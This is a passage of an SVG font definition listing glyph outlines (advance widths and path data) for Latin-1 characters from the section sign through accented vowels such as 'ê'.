<glyph unicode="&#xa7;" horiz-adv-x="995" d="M59 53v148q56 -34 136.5 -56t156.5 -22q133 0 204 44.5t71 129.5q0 48 -50.5 89t-152.5 87q-138 61 -194 130.5t-56 166.5q0 201 238 307q-119 70 -119 203q0 127 103.5 206t279.5 79q189 0 321 -68l-53 -123q-148 60 -266 60q-102 0 -162.5 -40.5t-60.5 -109.5 q0 -49 38 -83.5t162 -90.5q100 -44 149 -83.5t75 -89.5t26 -114q0 -97 -61 -180t-172 -139q114 -71 114 -189q0 -152 -114 -237.5t-318 -85.5q-176 0 -295 61zM326 791q0 -70 50.5 -117t198.5 -111q80 44 127.5 107t47.5 131q0 60 -49.5 105.5t-186.5 103.5 q-82 -26 -135 -87.5t-53 -131.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1135" d="M457 1378q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM821 1378q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M139 731q0 200 100 375t275 276t377 101q197 0 370 -97t277 -272t104 -383q0 -204 -100.5 -376.5t-273 -273.5t-377.5 -101q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM244 731q0 -173 87 -323.5t237.5 -237t322.5 -86.5q174 0 323 87t236.5 235.5t87.5 324.5 q0 174 -87 323t-235.5 236.5t-324.5 87.5q-174 0 -323 -87t-236.5 -235.5t-87.5 -324.5zM520 733q0 208 110 330.5t300 122.5q130 0 248 -60l-60 -120q-106 53 -190 53q-125 0 -191.5 -87t-66.5 -241q0 -169 65 -249.5t193 -80.5q82 0 211 43v-122q-66 -28 -113 -38 t-104 -10q-192 0 -297 119.5t-105 339.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="686" d="M170 1014q0 127 41.5 234.5t116.5 169t170 61.5q114 0 153 -103h6l37 90h86l-139 -665h-92l14 117h-4q-40 -56 -90 -93t-123 -37q-77 0 -126.5 60t-49.5 166zM283 1030q0 -139 98 -139q61 0 112.5 49t86 137.5t34.5 167.5q0 62 -28.5 96.5t-85.5 34.5q-92 0 -154.5 -103 t-62.5 -243z" />
<glyph unicode="&#xab;" horiz-adv-x="958" d="M88 555v29l391 374l78 -81l-297 -328l172 -387l-113 -49zM483 510v31l367 405l86 -69l-283 -365l158 -350l-113 -49z" />
<glyph unicode="&#xac;" d="M127 651v142h920v-529h-140v387h-780z" />
<glyph unicode="&#xad;" horiz-adv-x="639" d="M55 469l35 158h479l-34 -158h-480z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M139 731q0 200 100 375t275 276t377 101q197 0 370 -97t277 -272t104 -383q0 -204 -100.5 -376.5t-273 -273.5t-377.5 -101q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM244 731q0 -173 87 -323.5t237.5 -237t322.5 -86.5q174 0 323 87t236.5 235.5t87.5 324.5 q0 174 -87 323t-235.5 236.5t-324.5 87.5q-174 0 -323 -87t-236.5 -235.5t-87.5 -324.5zM645 291v880h229q163 0 241.5 -63t78.5 -193q0 -78 -47.5 -141t-132.5 -98l227 -385h-149l-207 352h-113v-352h-127zM772 762h92q195 0 195 149q0 76 -47.5 107t-149.5 31h-90v-287z " />
<glyph unicode="&#xaf;" horiz-adv-x="782" d="M227 1556l33 132h787l-35 -132h-785z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M215 1171q0 128 90.5 220t220.5 92q83 0 155.5 -41.5t114.5 -114t42 -156.5q0 -128 -90.5 -218.5t-221.5 -90.5t-221 90.5t-90 218.5zM328 1171q0 -80 58 -138t140 -58q83 0 140 58.5t57 137.5q0 82 -57.5 140.5t-139.5 58.5q-80 0 -139 -58.5t-59 -140.5z" />
<glyph unicode="&#xb1;" d="M127 0v141h920v-141h-920zM127 643v141h389v392h141v-392h390v-141h-390v-387h-141v387h-389z" />
<glyph unicode="&#xb2;" horiz-adv-x="717" d="M96 586l23 106l264 228q115 100 158.5 149.5t63.5 93t20 90.5q0 53 -31 85t-90 32q-90 0 -195 -80l-59 90q125 101 274 101q109 0 171.5 -56.5t62.5 -150.5q0 -99 -52.5 -179.5t-197.5 -205.5l-221 -187h395l-25 -116h-561z" />
<glyph unicode="&#xb3;" horiz-adv-x="717" d="M119 625v127q125 -72 239 -72q205 0 205 170q0 137 -178 137h-90l22 107h95q97 0 155 41t58 112q0 60 -34.5 90.5t-93.5 30.5q-102 0 -196 -68l-55 93q109 88 268 88q114 0 178 -56t64 -151q0 -180 -207 -234v-4q69 -17 108 -68t39 -120q0 -132 -91 -205.5t-253 -73.5 q-125 0 -233 56z" />
<glyph unicode="&#xb4;" horiz-adv-x="1135" d="M532 1241v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xb5;" horiz-adv-x="1194" d="M-43 -492l336 1588h168l-148 -695q-18 -92 -18 -135q0 -147 147 -147q89 0 172 59t148.5 171t99.5 269l105 478h163l-233 -1096h-139l24 205h-12q-93 -121 -183 -173t-188 -52q-112 0 -163 96h-9q-11 -78 -22.5 -148t-83.5 -420h-164z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M199 1042q0 260 109 387t341 127h557v-1816h-114v1661h-213v-1661h-115v819q-62 -18 -146 -18q-216 0 -317.5 125t-101.5 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="518" d="M170 690q0 77 40.5 122.5t111.5 45.5q43 0 69.5 -26t26.5 -79q0 -71 -40 -118.5t-108 -47.5q-46 0 -73 26t-27 77z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M-170 -383q38 -6 68 -6q174 0 174 110q0 46 -39 67.5t-99 29.5l101 182h106l-61 -121q131 -38 131 -155q0 -98 -81 -157t-214 -59q-41 0 -86 9v100z" />
<glyph unicode="&#xb9;" horiz-adv-x="717" d="M258 1280l279 182h118l-186 -876h-135l112 526q25 103 58 225q-25 -25 -50 -46.5t-145 -100.5z" />
<glyph unicode="&#xba;" horiz-adv-x="688" d="M168 1055q0 117 42 215.5t117.5 153.5t174.5 55q117 0 180 -67t63 -193q0 -191 -88.5 -311t-240.5 -120q-113 0 -180.5 71t-67.5 196zM281 1059q0 -85 38 -127.5t107 -42.5q94 0 152.5 88.5t58.5 232.5q0 166 -137 166q-102 0 -160.5 -87.5t-58.5 -229.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="958" d="M23 197l282 360l-158 354l113 50l217 -402v-31l-368 -401zM401 197l297 323l-172 391l113 50l233 -447v-29l-393 -370z" />
<glyph unicode="&#xbc;" horiz-adv-x="1518" d="M123 0l1085 1462h154l-1086 -1462h-153zM204 1280l279 182h118l-186 -876h-135l112 526q25 103 58 225q-25 -25 -50 -46.5t-145 -100.5zM706 203l23 101l481 579h133l-121 -563h127l-22 -117h-129l-43 -202h-127l43 202h-365zM870 320h225q69 322 90 395 q-20 -36 -110 -149z" />
<glyph unicode="&#xbd;" horiz-adv-x="1518" d="M148 1280l279 182h118l-186 -876h-135l112 526q25 103 58 225q-25 -25 -50 -46.5t-145 -100.5zM66 0l1085 1462h154l-1086 -1462h-153zM782 1l23 106l264 228q115 100 158.5 149.5t63.5 93t20 90.5q0 53 -31 85t-90 32q-90 0 -195 -80l-59 90q125 101 274 101 q109 0 171.5 -56.5t62.5 -150.5q0 -99 -52.5 -179.5t-197.5 -205.5l-221 -187h395l-25 -116h-561z" />
<glyph unicode="&#xbe;" horiz-adv-x="1565" d="M87 625v127q125 -72 239 -72q205 0 205 170q0 137 -178 137h-90l22 107h95q97 0 155 41t58 112q0 60 -34.5 90.5t-93.5 30.5q-102 0 -196 -68l-55 93q109 88 268 88q114 0 178 -56t64 -151q0 -180 -207 -234v-4q69 -17 108 -68t39 -120q0 -132 -91 -205.5t-253 -73.5 q-125 0 -233 56zM273 0l1085 1462h154l-1086 -1462h-153zM856 203l23 101l481 579h133l-121 -563h127l-22 -117h-129l-43 -202h-127l43 202h-365zM1020 320h225q69 322 90 395q-20 -36 -110 -149z" />
<glyph unicode="&#xbf;" horiz-adv-x="874" d="M-4 -78q0 124 66 228t225 223q132 98 172.5 152.5t62.5 154.5h135q-22 -130 -72 -212t-165 -175l-95 -75q-159 -127 -159 -275q0 -93 51.5 -144t147.5 -51q80 0 154 25.5t140 56.5l62 -129q-90 -48 -189 -74t-186 -26q-168 0 -259 83.5t-91 237.5zM512 946q0 71 40 118.5 t107 47.5q47 0 74 -25.5t27 -76.5q0 -77 -40.5 -122.5t-111.5 -45.5q-43 0 -69.5 26t-26.5 78z" />
<glyph unicode="&#xc0;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM535 1886v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xc1;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM679 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xc2;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM465 1579v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189 h-109z" />
<glyph unicode="&#xc3;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM432 1579q58 258 231 258q44 0 83.5 -18t75 -39.5t66.5 -39.5t58 -18q44 0 69.5 27t51.5 90h100q-66 -258 -233 -258 q-40 0 -77.5 17.5t-73 39t-69 39t-65.5 17.5q-44 0 -69.5 -28.5t-47.5 -86.5h-100z" />
<glyph unicode="&#xc4;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM523 1716q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM887 1716q0 46 28 79.5 t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xc5;" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474zM553 1583q0 94 62 152.5t157 58.5q101 0 160 -57t59 -152q0 -99 -60 -157t-159 -58q-101 0 -160 57.5t-59 155.5zM657 1583 q0 -54 29.5 -84.5t85.5 -30.5q51 0 83 30.5t32 84.5q0 53 -32 84t-83 31q-49 0 -82 -31t-33 -84z" />
<glyph unicode="&#xc6;" horiz-adv-x="1673" d="M-119 0l938 1462h938l-33 -153h-565l-100 -469h528l-28 -150h-529l-115 -538h566l-33 -152h-737l98 465h-438l-293 -465h-197zM469 621h371l147 688h-84z" />
<glyph unicode="&#xc7;" horiz-adv-x="1198" d="M150 537q0 261 105.5 485.5t283.5 342.5t403 118q197 0 348 -80l-69 -141q-138 69 -279 69q-174 0 -311.5 -97t-218 -284.5t-80.5 -408.5q0 -187 97.5 -298.5t268.5 -111.5q139 0 322 57v-149q-86 -31 -164 -45t-188 -14q-242 0 -380 149.5t-138 407.5zM377 -383 q38 -6 68 -6q174 0 174 110q0 46 -39 67.5t-99 29.5l101 182h106l-61 -121q131 -38 131 -155q0 -98 -81 -157t-214 -59q-41 0 -86 9v100z" />
<glyph unicode="&#xc8;" horiz-adv-x="1047" d="M86 0l309 1462h735l-32 -153h-566l-98 -469h527l-29 -152h-529l-114 -536h565l-33 -152h-735zM570 1886v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xc9;" horiz-adv-x="1047" d="M86 0l309 1462h735l-32 -153h-566l-98 -469h527l-29 -152h-529l-114 -536h565l-33 -152h-735zM657 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xca;" horiz-adv-x="1047" d="M86 0l309 1462h735l-32 -153h-566l-98 -469h527l-29 -152h-529l-114 -536h565l-33 -152h-735zM469 1579v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
<glyph unicode="&#xcb;" horiz-adv-x="1047" d="M86 0l309 1462h735l-32 -153h-566l-98 -469h527l-29 -152h-529l-114 -536h565l-33 -152h-735zM523 1716q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM887 1716q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34 q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xcc;" horiz-adv-x="559" d="M86 0l311 1462h168l-311 -1462h-168zM265 1886v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xcd;" horiz-adv-x="559" d="M86 0l311 1462h168l-311 -1462h-168zM412 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xce;" horiz-adv-x="559" d="M86 0l311 1462h168l-311 -1462h-168zM193 1579v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
<glyph unicode="&#xcf;" horiz-adv-x="559" d="M86 0l311 1462h168l-311 -1462h-168zM265 1716q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM629 1716q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xd0;" horiz-adv-x="1364" d="M72 649l32 150h150l141 663h342q276 0 419.5 -149.5t143.5 -435.5q0 -261 -105 -461t-300 -308t-457 -108h-352l135 649h-149zM287 147h162q202 0 355 91.5t234.5 258.5t81.5 382t-103 325.5t-302 110.5h-178l-111 -516h330l-33 -150h-330z" />
<glyph unicode="&#xd1;" horiz-adv-x="1438" d="M84 0l309 1462h180l459 -1220h6q30 224 72 405l174 815h164l-309 -1462h-181l-460 1223h-6q-32 -221 -74 -418l-172 -805h-162zM600 1579q58 258 231 258q44 0 83.5 -18t75 -39.5t66.5 -39.5t58 -18q44 0 69.5 27t51.5 90h100q-66 -258 -233 -258q-40 0 -77.5 17.5 t-73 39t-69 39t-65.5 17.5q-44 0 -69.5 -28.5t-47.5 -86.5h-100z" />
<glyph unicode="&#xd2;" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398zM679 1886v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xd3;" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398zM821 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xd4;" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398zM612 1579v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
<glyph unicode="&#xd5;" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398zM565 1579q58 258 231 258q44 0 83.5 -18t75 -39.5t66.5 -39.5t58 -18q44 0 69.5 27t51.5 90h100q-66 -258 -233 -258q-40 0 -77.5 17.5t-73 39t-69 39t-65.5 17.5q-44 0 -69.5 -28.5t-47.5 -86.5h-100z" />
<glyph unicode="&#xd6;" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398zM664 1716q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM1028 1716q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xd7;" d="M168 1044l98 99l320 -320l323 320l99 -96l-324 -324l322 -322l-97 -96l-323 320l-320 -318l-96 96l317 320z" />
<glyph unicode="&#xd8;" horiz-adv-x="1475" d="M119 8l137 170q-106 136 -106 371q0 264 96 482t263.5 336t377.5 118q99 0 178.5 -27t151.5 -84l131 166l114 -92l-149 -184q48 -62 73 -156t25 -201q0 -269 -88 -481.5t-252 -329t-379 -116.5q-200 0 -332 96l-129 -160zM332 553q0 -135 41 -227l737 919q-90 88 -236 88 q-157 0 -281 -101t-192.5 -281t-68.5 -398zM463 205q91 -74 233 -74q152 0 272.5 97.5t190.5 279.5t70 403q0 118 -33 205z" />
<glyph unicode="&#xd9;" horiz-adv-x="1384" d="M164 383q0 81 24 201l189 878h170l-191 -891q-22 -106 -22 -188q0 -117 73 -184.5t218 -67.5q172 0 267.5 87.5t139.5 289.5l205 954h170l-205 -966q-55 -263 -197.5 -389.5t-388.5 -126.5q-230 0 -341 104t-111 299zM663 1886v21h181q43 -136 147 -303v-25h-104 q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xda;" horiz-adv-x="1384" d="M164 383q0 81 24 201l189 878h170l-191 -891q-22 -106 -22 -188q0 -117 73 -184.5t218 -67.5q172 0 267.5 87.5t139.5 289.5l205 954h170l-205 -966q-55 -263 -197.5 -389.5t-388.5 -126.5q-230 0 -341 104t-111 299zM823 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21 q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xdb;" horiz-adv-x="1384" d="M164 383q0 81 24 201l189 878h170l-191 -891q-22 -106 -22 -188q0 -117 73 -184.5t218 -67.5q172 0 267.5 87.5t139.5 289.5l205 954h170l-205 -966q-55 -263 -197.5 -389.5t-388.5 -126.5q-230 0 -341 104t-111 299zM602 1579v27q145 133 204.5 197.5t82.5 103.5h158 q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
<glyph unicode="&#xdc;" horiz-adv-x="1384" d="M164 383q0 81 24 201l189 878h170l-191 -891q-22 -106 -22 -188q0 -117 73 -184.5t218 -67.5q172 0 267.5 87.5t139.5 289.5l205 954h170l-205 -966q-55 -263 -197.5 -389.5t-388.5 -126.5q-230 0 -341 104t-111 299zM643 1716q0 46 28 79.5t74 33.5q78 0 78 -80 q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM1007 1716q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xdd;" horiz-adv-x="1030" d="M188 1462h170l179 -747l489 747h193l-627 -921l-113 -541h-172l119 549zM616 1579v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xde;" horiz-adv-x="1159" d="M86 0l309 1462h170l-53 -256h160q213 0 323.5 -95t110.5 -282q0 -248 -164 -379t-483 -131h-133l-70 -319h-170zM354 465h135q215 0 328 91t113 267q0 126 -70 181t-215 55h-166z" />
<glyph unicode="&#xdf;" horiz-adv-x="1182" d="M-256 -328q61 -22 111 -22q65 0 107 47.5t65 157.5l280 1314q43 200 156 299t307 99q162 0 252 -71t90 -196q0 -57 -21 -106.5t-61.5 -95t-178.5 -150.5q-110 -83 -110 -151q0 -56 95 -122q47 -34 101 -87.5t79.5 -110t25.5 -123.5q0 -175 -108.5 -274.5t-292.5 -99.5 q-175 0 -268 71v160q51 -41 118.5 -66.5t129.5 -25.5q113 0 181 58t68 159q0 40 -10.5 71t-33.5 59t-89 83q-88 69 -122.5 124t-34.5 115q0 53 18.5 96t49.5 78.5t124 104.5q80 56 111 87.5t48 65t17 70.5q0 64 -52.5 100.5t-141.5 36.5q-119 0 -186 -62.5t-95 -190.5 l-274 -1303q-40 -189 -121 -276t-211 -87q-69 0 -123 21v143z" />
<glyph unicode="&#xe0;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM496 1548v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xe1;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM600 1241v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xe2;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM390 1241v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
<glyph unicode="&#xe3;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM354 1241q58 258 231 258q44 0 83.5 -18t75 -39.5t66.5 -39.5t58 -18q44 0 69.5 27t51.5 90h100q-66 -258 -233 -258q-40 0 -77.5 17.5t-73 39t-69 39t-65.5 17.5q-44 0 -69.5 -28.5t-47.5 -86.5h-100z" />
<glyph unicode="&#xe4;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM454 1378q0 46 28 79.5t74 33.5q78 0 78 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62zM818 1378q0 46 28 79.5t75 33.5q77 0 77 -80q0 -49 -29.5 -83t-68.5 -34q-35 0 -58.5 22t-23.5 62z" />
<glyph unicode="&#xe5;" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310zM513 1454q0 94 62 152.5t157 58.5q101 0 160 -57t59 -152q0 -99 -60 -157t-159 -58q-101 0 -160 57.5t-59 155.5zM617 1454q0 -54 29.5 -84.5t85.5 -30.5q51 0 83 30.5t32 84.5q0 53 -32 84t-83 31q-49 0 -82 -31t-33 -84z" />
<glyph unicode="&#xe6;" horiz-adv-x="1669" d="M98 348q0 206 70.5 385t191.5 281t263 102q82 0 145 -48.5t102 -143.5h11l67 172h109l-31 -146q123 166 332 166q119 0 192.5 -68t73.5 -184q0 -182 -166.5 -283.5t-472.5 -101.5h-39l-4 -80q0 -131 62.5 -204.5t193.5 -73.5q55 0 116.5 16.5t178.5 67.5v-150 q-164 -75 -328 -75q-108 0 -189.5 39.5t-121.5 119.5l-31 -139h-114l26 209h-8q-109 -132 -191.5 -180.5t-177.5 -48.5q-122 0 -191 99t-69 269zM270 348q0 -114 37 -171.5t105 -57.5q95 0 188.5 91.5t153 240.5t59.5 299q0 103 -45.5 164t-122.5 61q-99 0 -187 -86.5 t-138 -231.5t-50 -309zM973 618h14q226 0 348.5 58.5t122.5 169.5q0 61 -35 94t-98 33q-117 0 -211 -94.5t-141 -260.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="922" d="M98 389q0 200 74 369t204.5 263.5t293.5 94.5q137 0 268 -51l-47 -141q-120 51 -219 51q-112 0 -204.5 -76.5t-145 -213t-52.5 -296.5q0 -128 66.5 -199t183.5 -71q72 0 136 20t126 47v-143q-124 -63 -276 -63q-194 0 -301 107t-107 302zM211 -383q38 -6 68 -6 q174 0 174 110q0 46 -39 67.5t-99 29.5l101 182h106l-61 -121q131 -38 131 -155q0 -98 -81 -157t-214 -59q-41 0 -86 9v100z" />
<glyph unicode="&#xe8;" horiz-adv-x="1010" d="M98 391q0 188 74.5 360.5t197.5 268.5t271 96q153 0 230 -66.5t77 -185.5q0 -180 -166 -282.5t-475 -102.5h-33l-4 -80q0 -131 61.5 -204.5t190.5 -73.5q63 0 129.5 18t165.5 66v-146q-94 -44 -166 -61.5t-159 -17.5q-184 0 -289 109t-105 302zM299 618h12 q228 0 349.5 59.5t121.5 172.5q0 53 -36.5 88t-114.5 35q-103 0 -193.5 -94t-138.5 -261zM449 1548v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="&#xe9;" horiz-adv-x="1010" d="M98 391q0 188 74.5 360.5t197.5 268.5t271 96q153 0 230 -66.5t77 -185.5q0 -180 -166 -282.5t-475 -102.5h-33l-4 -80q0 -131 61.5 -204.5t190.5 -73.5q63 0 129.5 18t165.5 66v-146q-94 -44 -166 -61.5t-159 -17.5q-184 0 -289 109t-105 302zM299 618h12 q228 0 349.5 59.5t121.5 172.5q0 53 -36.5 88t-114.5 35q-103 0 -193.5 -94t-138.5 -261zM585 1241v27q56 60 125.5 151.5t106.5 149.5h190v-21q-38 -49 -140 -151t-177 -156h-105z" />
<glyph unicode="&#xea;" horiz-adv-x="1010" d="M98 391q0 188 74.5 360.5t197.5 268.5t271 96q153 0 230 -66.5t77 -185.5q0 -180 -166 -282.5t-475 -102.5h-33l-4 -80q0 -131 61.5 -204.5t190.5 -73.5q63 0 129.5 18t165.5 66v-146q-94 -44 -166 -61.5t-159 -17.5q-184 0 -289 109t-105 302zM299 618h12 q228 0 349.5 59.5t121.5 172.5q0 53 -36.5 88t-114.5 35q-103 0 -193.5 -94t-138.5 -261zM351 1241v27q145 133 204.5 197.5t82.5 103.5h158q37 -99 128 -235l42 -66v-27h-103q-57 48 -161 189q-134 -119 -242 -189h-109z" />
